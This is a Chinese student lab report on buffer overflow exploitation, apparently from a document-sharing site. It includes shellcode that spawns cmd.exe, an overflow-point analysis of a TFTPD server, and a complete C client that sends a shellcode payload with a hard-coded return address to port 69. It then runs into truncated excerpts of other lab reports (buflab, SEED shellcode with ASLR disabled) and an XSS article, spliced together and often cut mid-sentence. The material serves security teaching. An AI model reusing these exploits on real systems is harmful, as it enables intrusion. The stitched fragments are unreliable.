当前位置:文档之家› 实验四缓冲区溢出攻击技术

实验四缓冲区溢出攻击技术

实验四缓冲区溢出攻击技术
实验四缓冲区溢出攻击技术

实验单元四. 缓冲区溢出攻击技术

一、实验目的和要求

1.掌握缓冲区溢出的原理;

2.掌握缓冲区溢出漏洞的利用技巧;

3.理解缓冲区溢出漏洞的防范措施。

二、实验内容和原理

缓冲区溢出的原理:通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的根本原因是程序中缺少错误检测。

当然,随便往缓冲区中填东西造成它溢出一般只会出现“分段错误”(Segmentation fault),而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell 执行其它命令。如果该程序属于root,攻击者就获得了一个有root 权限的shell,可以对系统进行任意操作。缓冲区溢出攻击之所以成为一种常见安全攻击手段其原因在于缓冲区溢出漏洞太普遍了,并且易于实现。而且,缓冲区溢出成为远程攻击的主要手段其原因在于缓冲区溢出漏洞给予了攻击者他所想要的一切:植入并且执行攻击代码。被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的控制权。缓冲区溢出漏洞和攻击有很多种形式,而相应的防范手段也随者攻击方法的不同而不同。

三、实验项目

缓冲区溢出产生cmd窗口;

改写函数返回地址;

shellcode的编写;

shellcode的植入。

四、实验所需软硬件

1)仪器设备条件:PC及其网络环境;

2)物质条件:Windows XP SP3、Linux、Gcc、Visual C++ 6.0 编译器等,OllyDbg;

3)相关文献资料:课件及网上收集的资料。

五、操作方法与实验步骤

1.缓冲区溢出漏洞产生的的基本原理和攻击方法 缓冲区溢出模拟程序

程序源代码如下:

运行该程序产生访问异常:

由于拷贝字符串时产生缓冲区溢出,用“ABCD”字符串的值覆盖了原来EIP的值,所以main函数返回时EIP指向44434241,引发访问异常。

运行命令窗口的shellcode

shellcode测试代码如下:

shellcode测试代码运行效果如下:

由于把main函数的返回EIP地址替换成了jmp esp的地址,main函数返回的时候就会执行我们的shellcode代码。该shellcode,运行命令窗口。2.MS06-040 缓冲区溢出漏洞分析和利用

溢出点定位

溢出点定位源代码

程序运行效果如下:

可以看到错误访问地址为63636363,即为‘c’的编码,所以成功得定位了溢出点。

漏洞利用

漏洞利用的源代码如下:

漏洞利用的效果如下:

可以看到成功的利用该漏洞,弹出了一个对话框。

3.TFTPD溢出漏洞分析与利用

溢出点定位

1.构造FUZZ

FUZZ中包含288个A,这个值是通过多次测试获得的,运行效果如下,可以看到发生了溢出:

2.确定溢出点

采用284个’A’+’1234’的fuzz,运行效果如下:

可以看到程序转到了34333231,溢出点定位成功。

3.程序中溢出点定位

使用OllyDbg打开程序,首先找到recvfrom函数,方法是右键点击Search for选项,找到Name in current module,在其中找到recvfrom,

如下所示:

从这里找到recvfrom函数的位置,在此设置断点:

然后启动tftp,重新运行fuzz,程序会进入到断点,跟踪程序的运行过程,发现程序运行到一个strcpy函数时造成溢出,如下图所示:

运行004063A4函数之后,栈的状态如下,可以看到EIP被我们的数据覆盖:

运行到下面的代码处,程序跳转到34333231处,至此溢出点定位完毕。

溢出漏洞利用分析

首先肯定是想到利用JMP ESP,但是发现EIP后面是两个函数参数,如果覆盖该参数,将在函数返回之前触发异常,无法进入到我们的shellcode。

从上图也可以看出,EIP后面的第二个参数恰好指向我们构造的字符串,那么如果我们能够把00E81F62送入EIP,可以发现函数返回之前的ESP指向

010BF3C8,如果能够把ESP减去4,然后运行RET指令,就可以把00E81F62送入EIP,ESP-8相当于一次POP操作,这样如果我们把EIP指向有:

POP X

RET

代码串的指令地址,即可使得shellcode被执行,在系统DLL中搜索该指令串,发现在7FFC01B0处有该指令代码:

这样就可以构造如下的shellcode:

该shellcode为弹出一个命令窗口的shellcode,EIP指向7FFC01B0,按照上面的分析,程序将运行shellcode。

漏洞利用

直接在fuzz中加入EIP跳转地址7FFC01B0,构造fuzz如下284个’A’ + 0xB0 + 0x01 + 0xFC + 0x7F,发送到服务器端,发现实际地址不对:

发现这是因为tftp发送的时候只能发送有效的字符,而无效的字符无法发送过去,这样我们必须自己实现tftp客户端,程序代码如下:

#include

#include

#include

// 弹出命令框的Shell长度

#define CMD_SHELL_LENGTH 300

// 弹出命令框的shellcode

char cmdshell[CMD_SHELL_LENGTH + 1]=

"\x00\x01" // 2

"\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d" // 14 "\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63" // 26

"\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e" // 38

"\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c" // 50

"\x8d\x45\xf4\x50\xb8" // 55

"\x77\x1d\x80\x7c" // LoadLibraryW的地址// 59

"\xff\xd0" // 61 "\x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73" // 73 "\xc6\x45\xf5\x74\xc6\x45\xf6\x61\xc6\x45\xf7\x72" // 85 "\xc6\x45\xf8\x74\xc6\x45\xf9\x20\xc6\x45\xfa\x63" // 97 "\xc6\x45\xfb\x6d\xc6\x45\xfc\x64\x8d\x7d\xf4\x57" // 109 "\xba" // 110 "\xc7\x93\xbf\x77" // System 的地址// 114 "\xff\xd2" // 116

"\x90\x90\x90\x90" // 120

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // 130

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // 140

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // 150

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // 160

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // 170

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // 180

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // 190

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // 200

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // 210

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // 220

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // 230

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // 240

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // 250

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // 260

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // 270

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // 280

"\x90\x90\x90\x90\x90\x90" // 286

"\xB0\x01\xFC\x7F" // EIP地址// 290

"\x0netascii\x0"; // 300

void main()

{

WORD wVersionRequested; // 版本数据

WSADATA wsaData; // 初始化数据

int err; // 返回错误码

// 初始化版本字段

wVersionRequested = MAKEWORD(2,2);

// 初始化库

err = WSAStartup(wVersionRequested,&wsaData);

if(err != 0)

{

return;

}

if(LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wHighVersion) != 2)

{

WSACleanup();

return ;

}

// 构造SOCKET

SOCKET sockClient=socket(AF_INET,SOCK_DGRAM,0);

// 初始化地址字段

SOCKADDR_IN addrSrv;

addrSrv.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");

addrSrv.sin_family=AF_INET;

addrSrv.sin_port=htons(69);

// 发送shellcode

sendto(sockClient,cmdshell,CMD_SHELL_LENGTH,0,(SOCKADDR*)&addrSrv,sizeof(SOC KADDR));

// 关闭套接字

closesocket(sockClient);

// 清理库信息

WSACleanup();

}

运行该代码的效果如下:

这样就成功的利用了该漏洞。

六、问题与建议

实验中遇到一些问题如下:

1.溢出点定位时遇到的问题

溢出点定位应该是很简单的,但是这里的一个问题是字符串长了会覆盖参数,引起异常,我最初就以为溢出点位置为292个字符,因为我发现有292个字符时,产生了EIP的跳转,而实际上这是由于参数异常引起的,后来在同学的提醒在才意识到这个问题。

2.溢出利用时的问题

溢出漏洞利用时,这里不能用JMP ESP,我开始就想这怎么利用呢?后来在同学的帮助下,意识到可以巧妙的利用第二个参数跳转,后来发现这个利用思路真的是很巧妙。利用时的另一个问题是非法字符不能通过命令行直接发送,这样必须自己实现tftp客户端。

3.实验心得

通过实验,我对缓冲区溢出漏洞有了一个比较清晰的认识。对利用的方法也有了一个比较详细的了解,可以说获益匪浅。

缓冲区溢出攻击实验

HUNAN UNIVERSITY 课程实验报告 题目: Buflab-handout 学生姓名 学生学号 专业班级计科1403 (一)实验环境 联想ThinkPadE540 VM虚拟机ubuntu32位操作系统 (二)实验准备 1.使用tar xvf命令解压文件后,会有3个可执行的二进制文件bufbomb,hex2raw, makecookie。bufbomb运行时会进入getbuf函数,其中通过调用Gets函数读取字符 串。要求在已知缓冲区大小的情况下对输入的字符串进行定制完成特定溢出操作。 从给的PDF文件中我们得知getbuf函数为:

/ /Buffer size for getbuf #define NORMAL_BUFFER_SIZE 32 int getbuf() { char buf[NORMAL_BUFFER_SIZE]; Gets(buf); return 1; } 这个函数的漏洞在于宏定义的缓冲区的大小为32,若输入的字符串长于31(字符串末尾结束符)则会导致数据的覆盖,从而导致一系列损失;在此实验中,我们正是利用这个漏洞来完成实验。 2. hex2raw可执行文件就是将给定的16进制的数转成二进制字节数据。 Makecookie是产生一个userid。输入的相应的用户名产生相应的cookie值。 **我产生的cookie值为0x5eb52e1c,如下图所示: Level0: 实验要求:从英文的PDF文件中的“Your task is to get BUFBOMB to execute the code for smoke when getbuf executes its return statement, rather than returning to test. Note that your exploit string may also corrupt parts of the stack not directlyrelated to this stage, but this will not cause a problem, since smoke causes the program to exit directly.”这句话看出实验让我们在test运行完后,不直接退出,而是跳到smoke函数处执行然后退出,这点很重要!(本人之前一直没有成功就是错在这儿) Test源码: void test() { int val; // Put canary on stack to detect possible corruption volatile int local = uniqueval(); val = getbuf(); // Check for corrupted stack if (local != uniqueval()) { printf("Sabotaged!: the stack has been corrupted\n"); } else if (val == cookie) { printf("Boom!: getbuf returned 0x%x\n", val); validate(3);

SEED信息安全实验系列:缓冲区溢出漏洞实验

缓冲区溢出漏洞实验 一、实验描述 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。 二、实验准备 本次实验为了方便观察汇编语句,我们需要在32位环境下作操作,因此实验之前需要做一些准备。 1、输入命令安装一些用于编译32位C程序的东西: sudo apt-get update sudo apt-get install lib32z1 libc6-dev-i386 sudo apt-get install lib32readline-gplv2-dev 2、输入命令“linux32”进入32位linux环境。此时你会发现,命令行用起来没那么爽了,比如不能tab补全了,所以输入“/bin/bash”使用bash: 三、实验步骤 3.1 初始设置

Ubuntu和其他一些Linux系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能: sudo sysctl -w kernel.randomize_va_space=0 此外,为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个Set-UID程序调用一个shell,也不能在这个shell中保持root权限,这个防护措施在/bin/bash中实现。 linux系统中,/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个shell程序(zsh)代替/bin/bash。下面的指令描述了如何设置zsh程序: sudo su cd /bin rm sh ln -s zsh sh exit 3.2 shellcode 一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是shellcode。 观察以下代码: #include int main( ) { char *name[2]; name[0] = ‘‘/bin/sh’’; name[1] = NULL; execve(name[0], name, NULL); } 本次实验的shellcode,就是刚才代码的汇编版本: \x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80 3.3 漏洞程序 把以下代码保存为“stack.c”文件,保存到/tmp 目录下。代码如下: /* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include #include #include int bof(char *str) { char buffer[12]; /* The following statement has a buffer overflow problem */strcpy(buffer, str); return 1;

跨站脚本攻击实例解析

跨站脚本攻击实例解析 作者:泉哥 主页:https://www.doczj.com/doc/2317982364.html, 前言 跨站攻击,即Cross Site Script Execution(通常简写为XSS,因为CSS与层叠样式表同名,故改为XSS) 是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML 代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。很多人对于XSS的利用大多停留在弹框框的程度,一些厂商对XSS也是不以为然,都认为安全级别很低,甚至忽略不计。本文旨在讲述关于跨站攻击的利用方式,并结合实例进行分析。 漏洞测试 关于对XSS的漏洞测试,这里就以博客大巴为例进行测试,最近我也在上面发现了多处跨站漏洞,其中两处已公布在WooYun网站上,其主要内容如下: 漏洞详情 简要描述: 博客大巴存储型XSS漏洞 详细说明: 在“个人信息设置”的“附加信息”一项中,由于对“个人简介”的内容过滤不严,导致可在博客首页实现跨站,而在下方“添加一段附加信息”中,由于对“信息标题”内容过滤不严,同样可导致跨站的出现。 但我刚又测试了一下,发现官方只修补了其中一个漏洞(个人简介),而另一个漏洞得在博客管理后台才能触发,利用价值不大。与此同时我在对博客模板的测试中,又发现了五处跨站漏洞,估计这些漏洞其实很早就有人发现了,只是没人公布或者报给blogbus后仍未修补。这次报给WooYun的主要目的是让blogbus修补此漏洞,因为我的博客就在上面!^_^ 其余五处漏洞分别在“编辑自定义模板”中,由于对代码模块head,index,index-post,detail,detail-post等处的代码过滤不严,导致跨站的发生,分别向其写入,为便于区别,我将提示语句更改为对应的名称,前三项在首页可触发脚本,后两项需打开文章才可触发,测试结果如图1、2所示: 图1(在首页触发)

实验三+缓冲区溢出

服务器安全攻防技术实验报告 实验名称:缓冲区溢出 班级:姓名:学号: 实验地点:日期:2020/3/11 一、实验目的: 1.通过实践掌握缓冲区溢出的原理;掌握常用的缓冲区溢出方法;理解缓冲区溢出的危害性;掌握防范和避免缓冲区溢出攻击的方法。 二、基本技能实验内容、要求和环境: 实验环境: 1.PC机一台,安装有Windows 2003 server; 2.Vmware软件一套; 3.Codeblockse软件。 实验内容: 1、简单陈述缓冲区溢出的原理。 2、(1)陈述程序如何溢出?(2)为什么执行why_here方法?(3)画出栈结构 #include #include void why_here(void) //这个函数没有任何地方调用过 { printf("why u here !n\n"); printf("you are trapped here\n"); system("pause"); _exit(0); } int main(int argc,char * argv[]) { int buffer[1]; buffer[4] = why_here; system("pause"); return 0; } 三、基本技能实验结果与分析: 1、简单陈述缓冲区溢出的原理。 答案:缓冲区溢出是指当前计算机向缓冲区内填充数据位数超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上,破坏程序的堆栈,使程序转而执行其他指令,以达到攻击的目的。

2、(1)陈述程序如何溢出? 运行程序,返回结果如下: 分析:由代码我们可以看出,在我们的main()函数中并没有调用过why_here()函数,只是定义了一个buffer[1]的数组,但是在我们定义了数组之后,我们同时为buffer[4]赋值为why_here()函数的返回值。我们知道buffer数组并没有buffer[4]这个位置,此时我们为它赋值就会造成该buffer[4]中原来返回地址被覆盖,转去执行why_here(),就会输出以上的语句了。 进入debug模式,查看Selected frame,从中我们可以获取的信息有:EIP为0x401384,在执行main函数之后被保存为0x4010fd,,编码为C语言,涉及到的实参有argc=1, argv=0x1e2e28,局部变量存放在栈的0x60ff08的位置;而目前的frame指针所指示的位置为0x60ff10; 保存的寄存器为EBP存放在0x60ff08,EIP保存在0x60ff0c。 debugging windows的watchs窗口中函数中涉及的参数和变量所对应的值。

缓冲区溢出实验报告

华中科技大学计算机学院《信息系统应用安全》实验报告 实验名称缓冲区溢出实验 团队成员: 教师评语:

一.实验环境 ?操作系统:Windows XP SP3 ?编译平台:Visual C++ 6.0 ?调试环境:OllyDbg 二.实验目的 1.掌握缓冲区溢出的原理; 2.掌握缓冲区溢出漏洞的利用技巧; 3.理解缓冲区溢出漏洞的防范措施。 三.实验内容及步骤 1.缓冲区溢出漏洞产生的的基本原理和攻击方法 ?缓冲区溢出模拟程序 程序源代码如下: 运行该程序产生访问异常:

由于拷贝字符串时产生缓冲区溢出,用“ABCD”字符串的值覆盖了原来EIP的值,所以main函数返回时EIP指向44434241,引发访问异常。 运行命令窗口的shellcode shellcode测试代码如下: #include "string.h" #include "stdio.h" #include char name[]= "\x41\x41\x41\x41" "\x41\x41\x41\x41" "\x41\x41\x41\x41" ///覆盖ebp "\x12\x45\xfa\x7f" ////覆盖eip,jmp esp地址7ffa4512 "\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d" "\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63" "\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e" "\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c" "\x8d\x45\xf4\x50\xb8" "\x77\x1d\x80\x7c" // LoadLibraryW的地址 "\xff\xd0" "\x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73" "\xc6\x45\xf5\x74\xc6\x45\xf6\x61\xc6\x45\xf7\x72" "\xc6\x45\xf8\x74\xc6\x45\xf9\x20\xc6\x45\xfa\x63"

实验4 缓冲区溢出攻击实验

深圳大学实验报告课程名称:计算机系统(2) 实验项目名称:缓冲区溢出攻击实验 学院:计算机与软件学院 专业: 指导教师:罗秋明 报告人:学号:班级: 实验时间:2017年5月12日 实验报告提交时间:2017年5月31日 教务处制

一、实验目标: 1.理解程序函数调用中参数传递机制; 2.掌握缓冲区溢出攻击方法; 3.进一步熟练掌握GDB调试工具和objdump反汇编工具。 二、实验环境: 1.计算机(Intel CPU) 2.Linux32位操作系统(Ubuntu16.04) 3.GDB调试工具 4.objdump反汇编工具 三、实验内容 本实验设计为一个黑客利用缓冲区溢出技术进行攻击的游戏。我们仅给黑客(同学)提供一个二进制可执行文件bufbomb和部分函数的C代码,不提供每个关卡的源代码。程序运行中有3个关卡,每个关卡需要用户输入正确的缓冲区内容,否则无法通过管卡! 要求同学查看各关卡的要求,运用GDB调试工具和objdump反汇编工具,通过分析汇编代码和相应的栈帧结构,通过缓冲区溢出办法在执行了getbuf()函数返回时作攻击,使之返回到各关卡要求的指定函数中。第一关只需要返回到指定函数,第二关不仅返回到指定函数还需要为该指定函数准备好参数,最后一关要求在返回到指定函数之前执行一段汇编代码完成全局变量的修改。 实验代码bufbomb和相关工具(sendstring/makecookie)的更详细内容请参考“实验四缓冲区溢出攻击实验.p ptx”。 本实验要求解决关卡1、2、3,给出实验思路,通过截图把实验过程和结果写在实验报告上。 四、实验步骤和结果 首先是makecookie:

缓冲区溢出攻击详细讲解

缓冲区溢出攻击详细讲解 缓冲区溢出(Buffer Overflow)是计算机安全领域既经典而又古老的话题。随着计算机系统安全性的加强,传统的缓冲区溢出攻击方式可能变得不再奏效,相应的介绍缓冲区溢出原理的资料也变得“大众化”起来。其中看雪的《0day安全:软件漏洞分析技术》一书将缓冲区溢出攻击的原理阐述得简洁明了。本文参考该书对缓冲区溢出原理的讲解,并结合实际的代码实例进行验证。不过即便如此,完成一个简单的溢出代码也需要解决很多书中无法涉及的问题,尤其是面对较新的具有安全特性的编译器——比如MS的Visual Studio2010。接下来,我们结合具体代码,按照对缓冲区溢出原理的循序渐进地理解方式去挖掘缓冲区溢出背后的底层机制。 一、代码 <=> 数据 顾名思义,缓冲区溢出的含义是为缓冲区提供了多于其存储容量的数据,就像往杯子里倒入了过量的水一样。通常情况下,缓冲区溢出的数据只会破坏程序数据,造成意外终止。但是如果有人精心构造溢出数据的容,那么就有可能获得系统的控制权!如果说用户(也可能是黑客)提供了水——缓冲区溢出攻击的数据,那么系统提供了溢出的容器——缓冲区。 缓冲区在系统中的表现形式是多样的,高级语言定义的变量、数组、结构体等在运行时可以说都是保存在缓冲区的,因此所谓缓冲区可以更抽象地理解为一段可读写的存区域,缓冲区攻击的最终目的就是希望系统能执行这块可读写存中已经被蓄意设定好的恶意代码。按照冯·诺依曼存储程序原理,程序代码是作为二进制数据存储在存的,同样程序的数据也在存中,因此直接从存的二进制形式上是无法区分哪些是数据哪些是代码的,这也为缓冲区溢出攻击提供了可能。

缓冲区溢出攻击实验报告

缓冲区溢出攻击实验报告 班级:10网工三班学生姓名:谢昊天学号:46 实验目的和要求: 1、掌握缓冲区溢出的原理; 2、了解缓冲区溢出常见的攻击方法和攻击工具; 实验内容与分析设计: 1、利用RPC漏洞建立超级用户利用工具文件检测RPC漏洞,利用工具软件对进行攻击。攻击的结果将在对方计算机上建立一个具有管理员权限的用户,并终止了对方的RPC服务。 2、利用IIS溢出进行攻击利用软件Snake IIS溢出工具可以让对方的IIS溢出,还可以捆绑执行的命令和在对方计算机上开辟端口。 3、利用WebDav远程溢出使用工具软件和远程溢出。 实验步骤与调试过程: 1.RPC漏洞出。首先调用RPC(Remote Procedure Call)。当系统启动的时候,自动加载RPC服务。可以在服务列表中看到系统的RPC服务。利用RPC漏洞建立超级用户。首先,把文件拷贝到C盘跟目录下,检查地址段到。点击开始>运行>在运行中输入cmd>确定。进入DOs模式、在C盘根目录下输入 -,回车。检查漏洞。 2.检查缓冲区溢出漏洞。利用工具软件对进行攻击。在进入DOC模式、在C盘根目录下输入 ,回车。 3,利用软件Snake IIS溢出工具可以让对方的IIS溢出。进入IIS溢出工具软件的主界面. PORT:80 监听端口为813 单击IDQ溢出。出现攻击成功地提示对话框。 4.利用工具软件连接到该端口。进入DOs模式,在C盘根目录下输入 -vv 813 回车。5.监听本地端口(1)先利用命令监听本地的813端口。进入DOs模式,在C盘根目录下输入nc -l -p 813回车。(2)这个窗口就这样一直保留,启动工具软件snake,本地的IP 地址是,要攻击的计算机的IP地址是,选择溢出选项中的第一项,设置IP为本地IP地址,端口是813.点击按钮“IDQ溢出”。(3)查看nc命令的DOS框,在该界面下,已经执行了设置的DOS命令。将对方计算机的C盘根目录列出来,进入DOC模式,在C盘根目录下输入nc -l -p 813回车。 6.利用WebDav远程溢出使用工具软件和远程溢出。(1)在DOS命令行下执行,进入DOC 模式,在C盘根目录下输入回车。(2)程序入侵对方的计算机进入DOC模式,在C盘根目录下输入nc -vv 7788 回车。 实验结果: 1.成功加载RPC服务。可以在服务列表中看到系统的RPC服务,见结果图。 2.成功利用工具软件对进行攻击。 3.成功利用IIS溢出进行攻击利用软件Snake IIS溢出工具让对方的IIS溢出,从而捆绑

缓冲区溢出攻击与防范实验报告

实验六报告

如图2所示的Windows 2000系统(虚拟机环境下)的计算机。显然这2台计算机处于同一个网段中,可以相互通讯,win10系统用作攻击机,下面将在此系统上运行Metasploit进行渗透测试,而Windows 2000系统都是本次任务中需要进行渗透入侵的靶机,保持安装后的默认状态,没有打额外的系统安全补丁。 图1 win10攻击机

图2 Windows 2000 靶机 2、扫描靶机 在正式开始渗透之前,应该对靶机进行扫描探测工作,搞清楚渗透目标的系统类型、开放的端口服务、可能存在的安全漏洞等。 在win10攻击机上运行metasploit console,即可进入Metasploit环境。 现在可以利用MSF框架中集成的Nmap扫描器对渗透测试目标进行扫描,如图3所示,获取了靶机的开放服务和操作系统类型等信息。

图3 windows 2000扫描结果

利用扫描器的脚步插件,还有可能直接探测出目标系统的安全漏洞,例如如图4所示,Nmap 利用smb-check-vulns插件扫描探测出了Windows 2000靶机存在MS08_067漏洞,命令执行如下:nmap -script= 。 namap扫描的结果里报告发现MS08-067:DISABLED。这是在暗示我们或许能够对这台主机进行渗透攻击,然后我们在Metasloit里面找到此漏洞的攻击模块,并尝试攻击目标机器。MS08-067是一个对操作系统版本依赖非常高的漏洞,所以在这里,我们只自动payload指定一下目标就可以确保触发正确的溢出代码。 图4漏洞扫描结果 3利用MS08_067漏洞渗透入侵 MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响

SQL注入及XSS(跨站脚本)攻击防御技术方案

SQL注入及XSS(跨站脚本)攻击防御技术方案 SQL注入 、、什么是SQL注入 SQL注入:利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,这是SQL注入的标准释义。 SQL注入利用的是正常的HTTP服务端口,表面上看来和正常的web访问没有区别,隐蔽性极强,不易被发现。 、、SQL注入的危害 SQL注入的主要危害包括: 1、未经授权状况下操作数据中的数据 2、恶意篡改网页内容 3、私自添加系统账号或是数据库使用者账号 4、网页挂木马。 、、SQL注入的方法 1.没有正确过滤转义字符 在用户的输入没有为转义字符过滤时,就会发生这种形式的注入式攻击,它会被传递 给一个SQL语句。这样就会导致应用程序的终端用户对数据库上的语句实施操纵比方 说,下面的这行代码就会演示这种漏洞: statement := "SELECT * FROM users WHERE name = '" + userName + "'; "

这种代码的设计目的是将一个特定的用户从其用户表中取出,但是,如果用户名被一个恶意的用户用一种特定的方式伪造,这个语句所执行的操作可能就不仅仅是代码的作者所期望的那样了。例如,将用户名变量(即username)设置为:a' or 't'='t,此时原始语句发生了变化: SELECT * FROM users WHERE name = 'a' OR 't'='t'; 如果这种代码被用于一个认证过程,那么这个例子就能够强迫选择一个合法的用户名,因为赋值't'='t永远是正确的。 在一些SQL服务器上,如在SQL  Server中,任何一个SQL命令都可以通过这种方法被注入,包括执行多个语句。下面语句中的username的值将会导致删除“users”表,又可以从“data”表中选择所有的数据(实际上就是透露了每一个用户的信息)。 a'; DROP TABLE users; SELECT * FROM data WHERE name LIKE '% 这就将最终的SQL语句变成下面这个样子: SELECT * FROM users WHERE name = 'a'; DROP TABLE users; SELECT * FROM DATA WHERE name LIKE '%'; 其它的SQL执行不会将执行同样查询中的多个命令作为一项安全措施。这会防止攻击者注入完全独立的查询,不过却不会阻止攻击者修改查询。 2.Incorrect type handling 如果一个用户提供的字段并非一个强类型,或者没有实施类型强制,就会发生这种形式的攻击。当在一个SQL语句中使用一个数字字段时,如果程序员没有检

WebGoat笔记九_跨站脚本攻击(Cross-Site Scripting (XSS))

WebGoat学习笔记九 —跨站脚本攻击(Cross-Site Scripting (XSS)) 瞿靖东2015/11/10 版本号:WebGoat 5.4 1、使用XSS钓鱼(Phishing with XSS) 技术概念或主题(Concept / T opic T o T each) 在服务端对所有输入进行验证总是不错的做法。当用户输入非法HTTP响应时容易造成XSS。在XSS的帮助下,你可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。 技术原理(How It works ) HTML文档内容很容易篡改的,如果你有权限操作页面源代码。 总体目标(General Goals ) 创建一个form,要求填写用户名和密码。将数据提交到http://localhost/WebGoat/catcher?PROPERTY=yes&user=catchedUserName&password=catched PasswordNam 操作方法(Solutions) 利用XSS可以在已存在的页面中进一步添加元素。该解决方案包括两部分,你需要结合起来使用: 受害人填写一个表格; 以读取脚本的形式,将收集到的信息发送给攻击者。 一个带用户名和密码输入框的表格如下:




This feature requires account login:



Enter Username:

Enter Password:




网络安全缓冲区溢出技术实验报告

网络实验报告 一、实验目的及要求 1、目的 了解和掌握Win32平台缓冲区溢出原理; 学会使用Win32平台Shellcode技术。 2、内容及要求 以windows 2000 server虚拟机为测试对象,修改server.cpp和exploit.c,利用shellcode port bind给出的shellcode,远程获得CMD,并启动目标机器的ftp服务。 二、仪器用具 计算机(分别装有windows server 2000和windows 7操作系统),本实验使用的是虚拟机Wmware8.0在同一台电脑上面安装两个操作系统。 三、实验方法与步骤 在实验开始前,首先编写可能产生缓冲区溢出的程序(server.cpp)和测试程序(exploit.c)。 在server.cpp中能够产生缓冲区溢出的程序片段如下: void overflow(char * s,int size) { char s1[50]; printf("receive %d bytes",size); s[size]=0; strcpy(s1,s); } 这两个程序的完整代码见附件。 由于本实验是在虚拟机环境下测试的,所以在开始实验前,分别记下两个系统的IP地址:运行server程序的系统IP地址为:192.168.209.131 运行exploit程序的系统IP地址为:192.168.209.1 实验的过程如下: 1.在windows2000系统下分别编译server.cpp和exploit.c程序,详细过程如下: C:\test>cl server.cpp C:\test>cl exploit.c 编译完成后分别产生exploit.exe、exploit.obj、server.exe、server.obj 截图如下图1所示:

缓冲区溢出攻击与防范

计算机病毒和入侵检测大作业 缓冲区溢出攻击与防范Buffer overflow attacking and prevention 学院(系):软件学院 专业:软件工程 学生姓名:刘毅超 学号:201192057 班级:软件1116 完成日期:2013年12月30日 大连理工大学 Dalian University of Technology

目录 1 引言 (3) 2 基本原理分析 (3) 3 制造缓冲区溢出 (4) 3.1 格式化字符串: (4) 3.2 堆栈缓冲区(Buffer)溢出攻击: (6) 3.3 HEAP/BSS溢出攻击: (8) 4 预防缓冲区溢出攻击 (10) 4.1 强制写正确的代码 (10) 4.2 使缓冲区不可执行 (10) 4.3 利用编译器的边界检查来实现缓冲区的保护 (10) 4.4 在程序指针失效前进行完整性检查 (11) 4.5 可不可以从根本上解决缓冲区溢出攻击 (11) 5 总结 (11) 6 参考资料 (12)

